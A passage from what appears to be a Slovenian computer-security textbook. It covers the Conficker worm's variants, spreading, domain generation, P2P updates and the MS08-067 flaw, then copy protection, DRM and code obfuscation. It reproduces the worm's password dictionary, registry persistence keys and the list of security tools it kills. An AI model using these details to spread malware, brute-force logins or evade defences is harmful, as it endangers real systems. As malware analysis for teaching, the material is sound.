.ws, .com, .net, .org, .info, .biz ter tako sestavljeno domeno, spremeni v IP naslov. URL-ji nato zgledajo, kot: http:///search?q=%d Simptomi okužbe s to različico so: 1. nekateri uporabniški računi se zaklepajo (uporabniki se ne morejo prijaviti), ker črv spremeni ključ HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters na 'TcpNumConnections' = '0x00FFFFFE' - torej na zelo veliko število povezav in poplavijo omrežje. 2. Storitve s Seznama 1, so onemogočene ali ne delujejo 3. Uporabniki se ne morejo povezati na spletna mesta, ki vsebujejo nize znakov, ki so v Seznamu 2 Širi se enako, kot A preko neposodobljenega programa svchost.exe, pa še dodatno, preko izmenljivih pogonov in preko šibkih gesel. Skuša se kopirat v sistemsko mapo, kot skrita dll datoteka. Če se ne uspe skopirat v to mapo, se poskuša ali v %ProgramFiles%\Internet Explorer, ali pa v %ProgramFiles%\Movie Maker. Zato da se ob zagonu računalnika virus ponovno aktivira, se doda ključ v Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run s podatki: Vrednost: '' Podatki: 'rundll32.exe \.dll, ' Pravtako je mogoče, da se sproži, ko program svchost.exe naloži grupo netsvcs. Nadalje je mogoče, da se naloži, kot lažna storitev (service), registrirana v Registry-ju pod: HKLM\System\CurrentControlSet\Services pod naključnim imenom, ali pa sestavljena iz dveh nizov, iz Seznama 3 . Kot smo rekli se različica B širi tudi preko šibkih gesel. Najprej se skuša skopirati v ADMIN$ deljeni imenik, s trenutnimi privilegiji. Če to ne uspe, popiše uporabniška imena na ciljnem računalniku in se skuša prijaviti z gesli iz Seznama 4. Če gre, se skopira na administratorsko deljeno mapo ADMIN$\System32\.dll. Nato na na novo vdrtem računalniku ustvari vnos: 'rundll32.exe .dll, ' v sistemskem urniku (Schedule Job) Naslednji način širjenja črva, je širjenje preko preslikanih map in izmenljivih pogonov (Mapped and Removable Drives). Na tak pogon se črv kopira z naključnim imenom v korensko mapo takega pogona, to je RECYCLER: < drive:>\RECYCLER\S-%d-%d-%d-%d%d%d-%d%d%d-%d%d%d-%d\.dll pri tem je '%d' naključna črka. Hkrati ustvari tudi ustrezno 'autorun.inf' datoteko, kar kopiji črva omogoči, da se zažene, ko dostopimo do pogona in je Autoplay omogočen. Ta različica spremeni Registry ključ: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWAL L, tako da uporabnik ne more videti skritih (hidden) datotek. Torej tudi črva ne. Nadalje onemogoči Windows Defender, tako da se ob zagonu ne starta. To doseže z brisanjem podatka 'Windows Defender' v ključu HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Črv preveri, če je okužen računalnik povezan v omrežje, tako da skuša dostopiti, do spletnih mest, ki so vedno povezana v medmrežje: aol.com, cnn.com, ebay.com, msn.com, myspace.com . Nato poskrbi za komunikacijo z Gospodarjem bot-a, po 1.januarju 2009 tvori URL-je z naključnimi IP naslovi, tako da združi psevdonaključen niz in eno od naslednjih najvišjih domen (TLD-Top Level Domains): .cc, .cn, .ws, .com, .net, .org, .info, .biz ter tako sestavljeno domeno, spremeni v IP naslov. URL-ji nato zgledajo, kot http:///search?q=%d 123 administrator Password 1234 nimda login 12345 qwewq Login 123456 qweewq pass 1234567 qwerty mypass 12345678 qweasd mypassword 123456789 asdsa adminadmin 1234567890 asddsa root 123123 asdzxc rootroot 12321 asdfgh test 123321 qweasdzxc testtest 123abc q1w2e3 temp 123qwe qazwsx temptemp 123asd qazwsxedc foofoo 1234abcd zxcxz foobar 1234qwer zxccxz default 1q2w3e zxcvb password1 a1b2c3 zxcvbn password12 admin passwd password123 Admin password Seznam 5: Nekaj gesel, s katerimi se Conficker B skuša prijaviti na druge računalnike 7.5 Različica Conficker.C Simptomi okužbe s Conficker.C so več ali manj isti, kot pri različici B. Blokirane so z varnostjo povezane storitve, omrežje zasičeno s prometom, nedostopna so z varnostjo povezana spletna mesta. Podoben je tudi način instalacije črva in širjenje samo. Sploh to različico pogosto imenujemo kar B++. Najpomembnejša razlika je v tem, da se posodablja oziroma sprejema ukaze, tudi preko metode enak-z-enakim (Peer to Peer) ter da preveri avtentičnost in veljavnost posodobitev. Na ta način prepreči, da bi tudi drugi hekerji pridobili dostop do s Confickerjem okuženih računalnikov. 7.6 Različica Conficker.D Nima možnosti širjenja, ima pa spremenjen način http posodabljanja. Dnevno generira 50.000 URL- jev, od katerih pa dnevno obišče samo 500. Poleg tega jo je še težje odstraniti, kot C. Odstrani še dodatne vnose v Registry-ju, tako da varnostno središče Oken (WSC – Windows Security Center), ne javlja, da ne deluje požarni zid in antivirusni program. Iz ključa HKLM\SYSTEM\CurrentControlSet\Control odstrani vrednost 'SafeBoot', zato računalnika ni mogoče zagnati v varnem načinu . Zatem vsako sekundo preveri seznam procesov, ki tečejo in ubije vsakega, ki vsebuje, katerega od naslednjih nizov : autoruns - "Autoruns" program avenger - kernel-mode security program bd_rem - "bd_rem_tool_console.exe" & "bd_rem_tool_gui.exe" programs cfremo - Enigma Software "cfremover.exe" program confick - taken from the name 'Conficker' downad - taken from the name 'Downadup' alias 'Conficker' filemon - "File Monitor" program gmer - rootkit detection program hotfix - security update kb890 - Microsoft KB article, includes MSRT kb958 - Microsoft KB article, includes MS08-067 kido - taken from the name 'Kido', another 'Conficker' alias kill - utility used to terminate other processes klwk - Kaspersky program mbsa. - "Microsoft Baseline Security Analyzer" program mrt. - "Microsoft Malicious Software Removal Tool" program mrtstub - "Microsoft Malicious Software Removal Tool" program ms08-06 - Microsoft Security Update MS08-067 procexp - "Process Explorer" program procmon - "Process Monitor" program regmon - "Registry Monitor" program scct_ - Sophos Conficker Cleanup tool stinger - McAfee tool sysclean - Trend Micro tool tcpview - tool used to view TCP connection and traffic unlocker - tool used to unlock locked files or folders wireshark - network protocol analyzer tool Seznam 6: Različica D ubije procese, ki vsebujejo niz iz zgornjega seznama 7.7 Različica Conficker.E Ta različica okuži zgolj računalnike, ki so že okuženi z različicami B, C in D. Ubije še več procesov, ki bi lahko delovali proti Confickerju in blokira še več, ponovno, njemu sovražnih spletnih mest kot D. Najpomembnejša razlika glede na D je, da se 3.maja 2009 izvršilna verzija Conficker-ja E sama pokonča (terminate), vendar ostane kopija knjižnice (dll) Conficker-ja D ali E . 7.8 Opis ranljivosti Varnostna napaka, ki jo izrablja Conficker, je Windows API NetpwPathCanonicalize() funkcija, ki je del knjižnice netapi32.dll. Napad je izpeljan preko vzpostavljene SMB (Server Message Block) seje na TCP vratih 445 (SMB je, kot vemo osnova za Microsoftovo omrežje – deljene mape ...). Funkcija NetpwPathCanonicalize() ima samo en parameter in sicer niz, v katerem je pot do vira. Funkcija to pot »normalizira«, tako da jo »predela« - npr. iz nje odstrani oznake za trenutne imenike in imenike, ki so za eno stopnjo navzgor (t.j. \., /., \.., /..). Npr. pot: uporabnik\imenikB\..\imenikA, spremeni v: uporabnik\imenikA. Zaradi napake je mogoče konstruirati niz, ki spremeni povratni naslov funkcije, tako da kaže na napadalčevo kodo. 7.9 Posodabljanje s http Kot smo rekli, različici A in B tvorita 250 domen dnevno (ki jih skušata obiskati vsaki dve uri), zato so različne organizacije skušale te domene rezervirati, da se črv ne bi mogel posodabljati in da gospodar bot-a ne bi vedel, za računalnike, ki so okuženi s conficker-jem. Avtorji črva so v različicah C, D, in E, zato spremenili algoritem. Tako te tvorijo 50 000 domen, vendar jih dnevno obiščejo le 500, uporabljajo tudi mnogo več najvišjih domen (TLD – Top Level Domains). Med 50 000 domenami jih omenjenih 500 izberejo s psevdonaključnim generatorjev (pseudorandom number generator), katerega osnova (seed) je izračunana iz števca obremenitve (performance counter), sistemskega časa (system time), dolžina delovanja v milisekundah (uptime), oznake niti (thread id), število ciklov procesorja od zadnjega zagona. To je precej nepredvidljiva osnova, ki zagotavlja, da je ta osnova različna pri vsakem zagnanem primerku Confickerja. Algoritem za dnevno tvorjenje domen se med različicami ne razlikuje bistveno. Najprej preko dobro znanih spletnih mest (google.com, yahoo.com, msn.com, ask.com, baidu.com, w3.org) pridobi GMT časovno znamko (timestamp), iz katere izbere dan, mesec in leto. Ta vrednost je osnova (seed) za psevdo naključni generator. Avtorji so sestavili svoj generator, ki je viden v algoritmu v Z ask.com, google.com ... Pridobi GMT St = 1 Iz GMT datuma pridobi osnovo za psevdo naključni generator Generiraj dolžino domene n (v znakih 5-11) Ne Generiraj n znakov St > 250 oziroma 50 000 Da Dodaj naključno eno od najvišjih domen (TLD) St=St + 1 Nadaljuj ... Slika 1: Potek generiranja domen za http posodabljanje 7.10 Posodabljanje vsak z vsakim (P2P – Peer-to-Peer) Različica C in kasnejše so vpeljale dodaten način posodabljanja oziroma komunikacije med okuženimi računalniki. Ta se sproži iz Confickerjeve glavne namestitvene niti, takoj za akcijami : 1. Kavljanje (hooking) nekaterih Okenskih API-jev 2. Namestitve v Registry-u 3. Vbrizganje (injection) v svchost ali proces services 4. Zaklenitvi (locking) datoteke na disk 5. Onemogočitev varnostnih orodij (antivirus, ...) Potem ko se izvedejo zgornji koraki, Conficker »spi« med 5 in 35 minut, P2P se pa požene pred http posodabljanjem. P2P proces nato najprej shrani trenutni čas in število ciklov. V nadaljevanju mu to pomaga, ko mora katero datoteko brisati. Nato ustvari imenik, v katerem hrani deljene vsebine (managed content). V ta namen popiše okoljske spremenljivke (environment variables) TMP, TEMP in USERPROFILE, zatem pa privzeto v WINDOWS direktorij. Tam potem ustvari poddirektorij v obliki {%08X-%04X-%04X-%04X-%08X%04X}, npr.: C:\WINDOWS\Temp\{27623480-9BE0-244C-E6CD-E64B466BBDE2} . Conficker C in kasnejši, lahko delujejo, kot strežnik in kot odjemalec ter vsebujejo niti:  2 TCP in 2 UDP niti za aktivno skeniranje drugih Conficker C + primerkov. Vsaka nit tvori naključne IP naslove, ki jih nato obišče in pri tem ciljna vrata (socket) izpelje iz dotičnega IP naslova.  Glavno strežniško nit, ki na računalniku pasivno čaka (listen) na morebitne aktivne dostope z drugih okuženih računalnikov. V ta namen tvori 2 TCP in 2 UDP vrati na osnovi lokalnega IP naslova.  Nit za časovno sinhronizacijo (GMT čas pridobi iz časa HTTP GET več najbolj znanih spletnih mest: google.com ...) Tako okužen računalnik lahko vsebuje do 32 conficker P2P primerkov strežnika. Za potrebe skeniranja črv za vsako nit generira 100 IP naslovov, ki jih preizkuša v intervalih med 2 in 5 sekund. Tvorjenje vrat iz IP naslova in časa, poteka s časom iz niti za časovno sinhronizacijo in IP številke. Ta postopek se ponovi vsakokrat, ko preteče več kot 60 sekund od zadnje pretvorbe. Vendar se preračuna šele potem, ko je preteklo, več kot 604801 sekund – to je teden dni + 1 sekunda. To pomeni, da se številke vrat spreminjajo tedensko. Enako se spreminjajo vrata na katerih P2P strežnik posluša, oziroma čaka na dostope . 7.11 Zaščita črva Šifriranje Conficker uporablja RSA elektronski podpis, da preveri integriteto prejetih posodobitev tako preko HTTP, kot P2P. Zameglitev kode Conficker-jeva programska koda je močno zamegljena (obfuscated), s premešanjem kode (spremenjena v »špageti« kodo, ob nespremenjenem delovanju), tako da delovanje črva še ni v celoti pojasnjeno. Rootkit delovanje Conficker uporablja tudi rootkit tehnologijo. Del svoje kode vstavi tudi v jedro operacijskega sistema. Tako »kavlja« funkcijo preko, katere je vdrl (NetpwPathCanonicalize), da niso mogoči nadaljni vdori preko ranljivosti MS08-067. Potem s kavljanjem funkcij DnsQuery_A, DnsQuery_UTF8, DnsQuery_W blokira dostop do spletnih strani, ki ponujajo varnostne programe in druge, ki tudi pomagajo odkriti in/ali odstraniti Conficker z okuženega računalnika. 7.12 Sklep Conficker gledano v celoti je zelo nevaren črv, kakršnega že dalj časa nismo videli. Njegove sposobnosti širjenja (različice A, B in C) so zelo velike, ko pa je enkrat v računalniku, ga je tudi zelo težko odstraniti. Antivirusna podjetja so sicer pripravila programe za detekcijo in odstranjevanje, a ta pogosto niso dovolj uspešna (okužba se povrne). Od leta 2010 ni več tako na očeh (računalniške) javnosti, vseeno pa je z njim še vedno okuženo milijone računalnikov po vsem svetu. 7.13 Viri in literatura WIKIPEDIA: Conficker, http://en.wikipedia.org/wiki/Conficker 15.1.2010 Phillip Porras, Hassen Saidi, and Vinod Yegneswaran: An Analysis of Conficker's Logic and Rendezvous Points, 2009 Felix Leder, Tillman Werner: Know Your Enemy: Containing Conficker, To Tame A Malware, 2009 Alexander Sotirov: Decompiling the vulnerable function for MS08-067, http://www.phreedom.org/blog/2008/decompiling-ms08-067/ 5.1.2010 Niall Fitzgibbon and Mike Wood: Conficker.C A Technical Analysis, SophosLabs, Sophos Inc., 2009 AVS-32 AntiVirus Solution: Analysis WORM/Conficker.P, http://avs-32.blogspot.com/2009/06/abc35802.html 14.1.2010 Microsoft: Malware Protection Center, http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?name=Win32%2fConficker 14.1.2010 8 Avtorska zaščita digitalnih vsebin 8.1 Uvod Odkar so osebni računalniki, tako zmogljivi, da ne samo izvajajo zahtevne programe, ampak tudi glasbo in filme, avtorji intenzivno iščejo načine, kako svoje nematerialne produkte zaščititi pred nepooblaščeno uporabo in kopiranjem. Popolna zaščita glasbe in videov je nemogoča, saj vedno obstaja analogna vrzel. Zaradi tega so pri glasbi lastniki pravic že opustili zaščito. Programsko opremo je mogoče boljše zaščititi, vendar je tudi tu pri skoraj vseh zanimivih programih zaščito mogoče odstraniti s piratskimi »kreki«. Svetla izjema je Windows Vista, za katero pravi krek (serijska številka + aktivacija) še ne obstaja, je pa (bilo) mogoče preizkusno obdobje podaljševati v nedogled. Trenutno je najboljša zaščita šifriranje kode skupaj s prijemi za otežitev povratnega inženiringa, v bodočnosti pa bo (morda) na voljo skoraj popolna zaščita s pomočjo TPM (Trusted Platform Module). 8.2 Načini preprečevanja nelegalne uporabe digitalnih vsebin 8.2.1 Uvod Največja težava pri preprečevanju nelegalne uporabe, je dejstvo, da ni mogoče preprečiti dostopa do kode, ki se izvaja v procesorju. Razhroščevalniki obstajajo tudi za jedra (kernel-level debugger-ji), kot je za Okna na primer SoftICE , iz z njimi zajete kode, pa lahko krekerji odkrijejo način zaščite in jo odstranijo ali zaobidejo. Dovolj je, da samo eden od njih odkrije implementacijo zaščite in smo se zastonj trudili z razvojem zaščite . Krek (Crack) se za malo ceno ali brez pojavi na internetu, oziroma se razširi po kanalih računalniškega podzemlja. Vseeno je vsaka zaščita boljša, kot nobena zaščita. Premisliti je treba, koliko denarja vložiti v zaščito, če se ne splača, imamo še vedno možnost, da damo produkt na splet in prosimo za donacije. (To pa je izbira, ki ni primerna za vsak produkt, ampak le tiste, ki imajo dovolj veliko ciljno skupino). Imamo še možnost, da produkt ponujamo v uporabo preko spleta in ga uporabniki nikoli ne naložijo na svoje računalnike. Če z njim ni bilo veliko stroškov, lahko dovolj zaslužimo že z oglasi. 8.2.2 Zaščita preko omejitve multipliciranja materialnih nosilcev digitalnih vsebin S tem mislimo diskete, CD-je, DVD-je … Ta metoda je bila ena prvih in je znana že iz časov, ko so bile diskete in magnetni trakovi tehnološka čuda. Pri disketah so avtorji za zaščito uporabljali dejstvo, da DOS-ova orodja niso omogočala kopiranja „slabih“ blokov. Magnetni zapisi na disketah se radi kvarijo, zato je edino smiselno izpustiti slabe bloke. Zaščita je bila sestavljena iz navidezno slabih blokov, ki so jih DOS-ova orodja izpustila, avtorski program, pa jih je znal brati in so bili ključni za delovanje programa. Seveda pa se je to razvedelo in pojavili so se „krek-i“, ki so slabe bloke ustrezno obdelali. Metoda še ni zašla v pozabo, saj je še danes pogosta, predvsem pri zaščiti računalniških iger, ki jih dobimo na CD-jih in DVD-jih . Tudi CD-ji in DVD-ji imajo svoj način kodiranja, svoj zapis, datotečni sistem, sektorje in kanale (kot vsi drugi trajni nosilci podatkov). Tudi tu avtorji zaščite, namerno „kvarijo“ veljavni zapis, s svojimi dodatki, tako programskimi, kot strojnimi. Nekatere avtorske zaščite vsebin zahtevajo za „pečenje“ posebne, prirejene naprave . Žal to piratov ne ustavi, najspretnejši med njimi običajno razbijejo zaščito, že kmalu za tem ko pride na trg. Na internetu so produkti, ki jih legalno prodajajo kot: „Preden se vaš originalni CD poškoduje, si naredite kopijo“. Takšna (zelo) priljubljena sta npr. produkta Alcohol 120% in Daemon Tools. Na trgu pa je tudi več produktov, ki nasprotno omogočajo avtorsko zaščito vsebin (predvsem iger) na CD-jih in DVD-jih. Med najbolj znanimi so: SafeDisc, SecuROM in StarForce. Ti programi imajo večje število posameznih različic, ki se lahko med seboj precej razlikujejo. V splošnem večinoma po svoje spremenijo zapis na plošči, uporabljajo elektronski podpis (in drugo šifriranje) ter jedrne komplete (rootkit-e) v obliki gonilnikov . Ti produkti in programi za odstranitev zaščit (že omenjena Alcohol 120% in Daemon Tools ter drugi) se med seboj neprestano prehitevajo, verzije programa SecuROM, na primer pri prijavi preverjajo ali na računalniku ni morda program Alcohol 120%, če ga zaznajo, onemogočijo igranje igre. Zaradi tega se tudi programi za odstranitev zaščite selijo v jedro operacijskega sistema, kot rootkiti . Poseben problem pri tem skrivanju v jedru je, da jih lahko odkrijejo in uporabijo tudi hekerji, za skrivanje svoje prisotnosti na sistemu. Na primer XCD (znan kot Sony-jev rootkit), skrije vsako datoteko, proces in Registry ključ, ki se začne s $sys$. Še slabše je, da so pogosto premalo preverjeni in povzročajo sesutja sistema (izguba podatkov, ponovni zagoni, vračanje na zadnjo preverjeno konfiguracijo, varen zagon …). Vključili so se tudi programi tretjih oseb, s produkti, kot je na primer CureROM, ki preslepi program SecuROM, da misli, da na računalniku ni programa Alcohol 120%, čeprav v resnici je. Vidimo torej, da je dogajanje na področju zaščite pred nepooblaščenem kopiranjem, zelo burno, ter da vodijo zdaj eni, zdaj drugi. 8.2.3 Serijske številke Serijske številke. Serijske številke so trenutno najpogostejši način zaščite programskih izdelkov . Program pri namestitvi zahteva unikatno serijsko številko, ki jo uporabnik dobi skupaj s CD jem ali po elektronski pošti itd. Namestitveni program zahteva to številko in jo preveri s posebnim, skrivnim validacijskim algoritmom. Preprost primer takšnega validacijskega algoritma je na primer: vsota številk in črk spremenjenih v števila, mora biti 65, med njimi ne sme biti črk D, J, P, morajo biti črke F, H, T. Problem pri tem načinu zaščite je, da jo lahko uporabnik, ki že ima eno serijsko številko, uporabi v poljubnem številu nadaljnjih namestitev – v končni fazi jo lahko objavi tudi na internetu. Avtor (programsko podjetje) to odkrije le, če podporo avtorja (podjetja) potrebuje več različnih uporabnikov ali isti uporabnik za več računalnikov . Serijsko številko ali njeno izpeljanko namestitveni program običajno doda k produktu in jo službe za podporo zahtevajo od uporabnikov, da preverijo pristnost. 8.2.4 Serijske številke ter protokol odgovor na zahtevo Protokol odgovor na zahtevo (protocol challenge-response) se v računalništvu pogosto uporablja pri overitvah (authentication). Deluje tako, da kadar se želi ena entiteta overiti pri drugi, druga prvi pošlje naključen tekst v nešifrirani obliki, prva ga s svojim skritim ključem zašifrira in pošlje nazaj drugi, ki ga z istim ključem dešifrira. Če je tekst istoveten s poslanim, overitev uspe, saj imata obe entiteti očitno isti ključ. Ponavadi program najprej (pri nalaganju) zahteva serijsko številko. Ko je enkrat naložen (prej ali slej) zahteva aktivacijo produkta. Zaščita deluje v splošnem tako, da serijsko številko in unikatno oznako več strojnih komponent (CPU-ja (procesorja), diska, itd.) šifrira to sporočilo z enim od več fiksno vpisanih (hard-coded) prodajalčevih javnih ključev in pošlje prodajalcu programa. Tam se sporočilo s prodajalčevim privatnim ključem dešifrira in preveri kombinacijo oznak strojne opreme in serijske številke v podatkovni zbirki. Če je tam ob isti serijski številki, oznaka strojnih komponent bistveno različna,gre očitno za nelegalno namestitev na drugi računalnik in aktivacija ne bo uspela. Odgovor prodajalca se prav tako zašifrira in pošlje nazaj na računalnik uporabnika. Program šifrirano vsebino dešifrira in bodisi omogoči nadaljnjo uporabo programa, če ne, pa nadaljnjo uporabo onemogoči ali bistveno omeji . Ta postopek je glede na gole serijske številke gotovo napredek, vendar ga je tudi mogoče zaobiti. Pri zaščiti programov pred nepooblaščenim kopiranjem, s tem preprečimo nove namestitve z isto serijsko številko. Krekerji pa to vrsto aktivacije zaobidejo tako, da emulirajo „odgovor na zahtevo“ sistema prodajalca programa . 8.2.5 Strojna avtorska zaščita s strojnim ključem Strojni ključ (dongle). Ker je strojno opremo običajno težje kopirati, kot programsko, je v nekaterih primerih boljša izbira. Primerna je predvsem za drage, ozko specializirane programe (kot so CAD/CAM …) ter kjer je varnost zelo pomembna, npr. v bančništvu, vojski in policiji. Strojna zaščita je namreč praviloma dražja, vsaj kakovostna, kot so šifrirni procesorji (cryptoprocessor), ki so lahko že skoraj računalniki v malem (dejansko nekateri vsebujejo Linux) . Strojni ključi obstajajo v različnih oblikah, lahko se namestijo na na paralelna vrata (LPT), poseben USB ključ, pametne kartice itd. Zanje je značilno, da zaščiten program ne deluje, če tak ključ ni vstavljen v računalnik oziroma drugo napravo . Zgodovinsko so se strojni ključi razvijali od tega, da je poseben gonilnik, preverjal ali je dongle prisoten na računalniku ali ne ter v slednjem primeru ustavil program. To so krekerji enostavno zaobšli, s „popravkom“ programa, ki na mesto v programu, kamor se zapiše rezultat preverjanja (to je pogosto en sam bit), vpišejo logično enko (ali ničlo). Naslednja generacija zaščite s strojnim ključem je delovala tako, da je bila izvršilna verzija programa, na disku računalnika šifrirana, na ključu pa je bil ključ za njeno dešifriranje. Ob zagonu programa je poseben del kode (loader) pristopil do ključa in nato dešifriral izvršilno datoteko na disku. Tu je problem, kajti ko se program zažene, je mogoče priti do dešifrirane kode v pomnilniku in jo kopirati. Nadaljnja zaščita s strojnim ključem, je da program razbijemo v več manjših delov in vsakega šifriramo z drugim ključem ter v spominu hranimo le trenutni kos. Krekerji to razbijejo tako, da iz ključa pridobijo gesla in nato emulirajo strojni ključ s programom . Sedaj pa imamo možnost dobre zaščite s strojnim ključem, ki je za nekatere produkte že ekonomsko upravičen. Pri tej namreč imamo v strojnem ključu, ne samo ključ, temveč cel procesor, ki dešifrira shranjeno kodo znotraj ključa in jo v njem tudi izvaja. V tem primeru dešifrirana koda nikoli ne zapusti ključa. Tako delujejo že omenjeni kriptoprocesorji . Določena ranljivost sicer še obstaja, vendar se za v razbijanje vložena sredstva (in potreben čas) običajno ne splačata. Pametne kartice so najpogostejši mini kriptoprocesorji, zahtevnejši kriptoprocesorji pa so na primer bankomati. S pomočjo šifriranja vodila (bus encryption) nimajo dostopa niti serviserji. Nekaj časa so pri Microsoftu, kot najpomembnejšem podjetju, razvijali NGSCB (Next Generation Secure Computing Base, pred tem projekt imenovan Palladium), ki bi s pomočjo strojne enote imenovane TPM (Trusted Platform Module) in procesorja (CPU), ki omogoča nedostopnost dela pomnilnika (curtained memory) - kjer bi se hranili šifrirni ključi, osebni računalnik spremenili v napravo, na kateri med drugim ne bi mogli nameščati in uporabljati piratskih kopij. Ta projekt (NGSCB) je sedaj bolj ali manj ustavljen, ker bi nekateri (Microsoft) z njim dobili preveč moči, obstajajo tudi nekateri drugi problemi. Projekt ostro kritizirajo zagovorniki odprte kode itd. Trenutno so edina uporaba TPM, programi, ki šifrirajo vsebino celotnega diska (BitLocker, …) . Zanimivo je, da je BitLocker s TPM še bolj ranljiv, kot brez. Računalnik mora sicer napadalec ukrasti, medtem ko še deluje. Napad poteka namreč tako, da iz računalnika fizično vzamejo DRAM čipe, nakar iz njih izvlečejo šifrirne ključe - ker se ob izključitvi zaščita dela pomnilnika, kjer so šifrirni ključi, sprosti . Napad je mogoč predvsem zato, ker se vsebina DRAM-a ohrani še kar nekaj časa potem, ko ni več pod napetostjo . To ni edini (delno) strojni napad. Obstaja že naprava, ki odkrije, kaj se dogaja znotraj kriptoprocesorja, s pomočjo merjenja sprememb električnih impulzov na njegovih nožicah! Drugače se sam projekt TPM razvija naprej in pri njem sodeluje veliko podjetij na čelu z največjimi . Združeni so v skupino TCG (Trusted Computing Group). Ta skupina razvija specifikacije in standarde tako za strojno, kot tudi za programsko opremo. Če bo šlo vse po načrtih, se piratom obetajo slabi časi – pa tudi svobodi. Z današnjimi metodami krekerji ne bodo mogli odstraniti avtorske zaščite. Vendar pa ni gotovo, da piratstvo, ko bodo TPM rešitve v produkciji in jih bodo krekerji analizirali, več ne bo mogoče. 8.2.6 Zaščita glasbe in filmov Ta zaščita spada pod takoimenovano Upravljanje digitalnih pravic (DRM – Digital Rights Management). Kot smo rekli, odkar so računalniki sposobni predvajati tudi glasbo in filme, si tisti, ki jih tržijo, trudijo, da bi bilo na računalniku mogoče predvajati samo legalno kupljene posnetke. To je pri teh medijih, še posebej težko, saj se signal prej kot slej mora spremeniti v analogno obliko in ga je mogoče zajeti vsaj takrat (analog hole). Pri glasbenih CD-jih so DRM zaščito že opustili, ker je z njo več težav, kot koristi , medtem ko na DVD-jih s filmi večinoma še obstaja, vendar jo je še vedno mogoče zaobiti. Ena prvih DRM rešitev za zaščito DVD-jev je CSS (Content Scrambling System), ki obstaja že od leta 1996 . Zaščita ni posebej močna, poleg tega pa je od leta 1999, na voljo program DeCSS, ki omogoča predvajanje s CSS metodo zaščitenih filmov, na Linux-u. To je legalno, saj izdajatelj za Linux ni pripravil licenčne verzije predvajalnika. Medtem so se, ker gre razvoj naprej, pojavile nekatere nove oblike DRM zaščite, npr. Windows Vista vsebuje sistem imenovan Protected Media Path, ki vsebuje PVP (Protected Video Path). Nadalje je za HD DVD in Blu-Ray diske na voljo AACS (Advanced Access Content System). Ta sistem so krekerji zlomili decembra 2006. 8.3 Kako učvrstiti zaščito Kot vidimo, je zelo težko, če ne nemogoče izdelati popolno zaščito. Vseeno pa je v določenih primerih avtorska zaščita nujna, četudi je varna samo pred blondinkami. V tem delu bomo predstavili metode, s katerimi lahko krekerjem (močno) otežimo delo. Obravnavamo zaščito izvedljivih, binarnih datotek (*.exe..) z namenom, da napadalcu otežimo razumevanje našega programa. Varnost programov ogroža namreč predvsem povratni inženiring kode, ker lahko z njim napadalec odkrije implementacijo zaščite . Od tam naprej je zanj zadeva enostavna, saj je potem pri preprosti zaščiti dovolj spremeniti le nekaj bitov v datoteki (včasih celo samo enega), pri močni pa izdelati generator ustreznih serijskih številk in je zaščita odstranjena. Ključno je torej, da je binarna koda čimbolj zapletena in težko razumljiva . To dosežemo z različnimi vrstami zameglitve kode (Code Obfuscation). Na razpolago imamo (odločimo se lahko za kombinacijo pristopov) : 1. Šifriranje kode, ki jo dešifriramo pred začetkom izvajanja, 2. Šifriranje delov kode in enostavnim dešifrirnikom zanje. 3. Pakiranje (Compressed code) in razpakiranje pred začetkom izvajanja 4. Premešanje instrukcij na način, ki jih naredi težko berljive. 5. Nenavaden način uporabe ukazov v kodi. To pa ima tudi stranske učinke: poveča se velikost kode, program deluje bolj počasi in koda je težje razumljiva tudi avtorjem. Kodo je sicer mogoče zamegliti tudi na nivoju izvorne kode. Obdelamo jo tako, da odstranimo komentarje, zamike, presledke, preimenujemo spremenljivke, konstante in funkcije (v čudna imena) ter dodamo kodo, ki ne spremeni nič (Junk Code). Za to obstajajo programi, kot je na primer družina programov za zameglitev izvorne kode podjetja SemanticDesigns.To je posebej koristno, kadar moramo izvorno kodo posredovati uporabnikom za prevajanje. Pripomniti pa moramo, da takšna zameglitev (razen dodane odvečne kode) z ničemer ne vpliva na zameglitev binarne kode . Binarna koda pa se delno zamegli že pri prevajanju, ker prevajalniki večinoma tudi optimizirajo kodo, nastale optimizacije pa so praviloma ljudem težje razumljive. Proti povratnemu inženiringu so uporabni tudi pristopi, s katerimi otežimo ali celo onemogočimo delovanje programov za povratni inženiring (kot so: IDA Pro, SoftICE, OllyDbg,...) . To lahko med drugim naredimo tudi tako, da ustrezno spremenimo PE glavo (PE – Portable Executable Header) naše binarne datoteke (ne da bi s tem pokvarili njeno delovanje ) ali pa da preverjamo ali se je izvajanje procesa (niti) zaustavilo (zaradi prekinitvene točke – breakpoint), ker to kaže na uporabo orodja za povratni inženiring . Kodo torej lahko zameglimo na nivoju binarne ali izvorne kode in sicer ročno ali s primernim orodjem. Po drugi strani lahko pridobimo »prečiščeno« kodo nazaj z orodji za odstranitev zameglitve (deobfuscation) ali ročnim odstranjevanjem . Skozi nekatere zameglitve se je namreč lažje prebiti z orodji, skozi druge pa ročno. Zameglitve izvajamo preko zameglitve nadzora toka izvajanja (Control Flow Transformations) in zameglitve podatkov (Data Transformations). Pri nadzoru toka so posebej pomembne razne vrste »zakritih predikatov« (Opaque Predicates). Primer takšnega (zelo) enostavnega predikata je: if (2-x == x) . Takšen pogoj ne bo nikoli uspel, zato dejansko sploh ne gre za vejitev, vendar analitik tega ne ve. Tak predikat postane pomemben, ko z njegovo pomočjo prepletemo (binarno) kodo. S stališča zaščite je „špageti koda“ zaželjena. Spodaj je enostaven primer prepletanja kode (Primer 1): PrvaFunkcija() { Segment1_PrveFunkcije; Segment2_PrveFunkcije; } DrugaFunkcija() { Segment1_DrugeFunkcije; Segment2_DrugeFunkcije; } Spremenimo v: Segment2_PrveFunkcije; Konec Prve Funkcije Segment2_DrugeFunkcije; Konec Druge Funkcije Segment1_PrveFunkcije ( vstop v Prvo funkcijo) ZakritiPredikat1 ( skok na Segment2_PrveFunkcije) Segment1_DrugeFunkcije ( vstop v Drugo funkcijo) ZakritiPredikat2 ( skok na Segment2_DrugeFunkcije) Primer 1: Enostavno prepletanje kode Prave zaščite pred povratnim inženiringom, si brez kakšne vrste šifriranja, skoraj ne moremo predstavljati. Večino programa šifriramo, le del potreben za dešifriranje pustimo. Vse skupaj lahko tudi zapakiramo, izračunamo elektronski podpis programa, ga shranimo v glavi ter obenem še prihranimo pri velikosti. „Mali“ avtorji večinoma ključ za dešifriranje kar fiksno vpišejo nekam v izvedljivo datoteko. To je zaščita, ki jo pirati zlahka odstranijo, potrebna je zaščita pri kateri se ključ 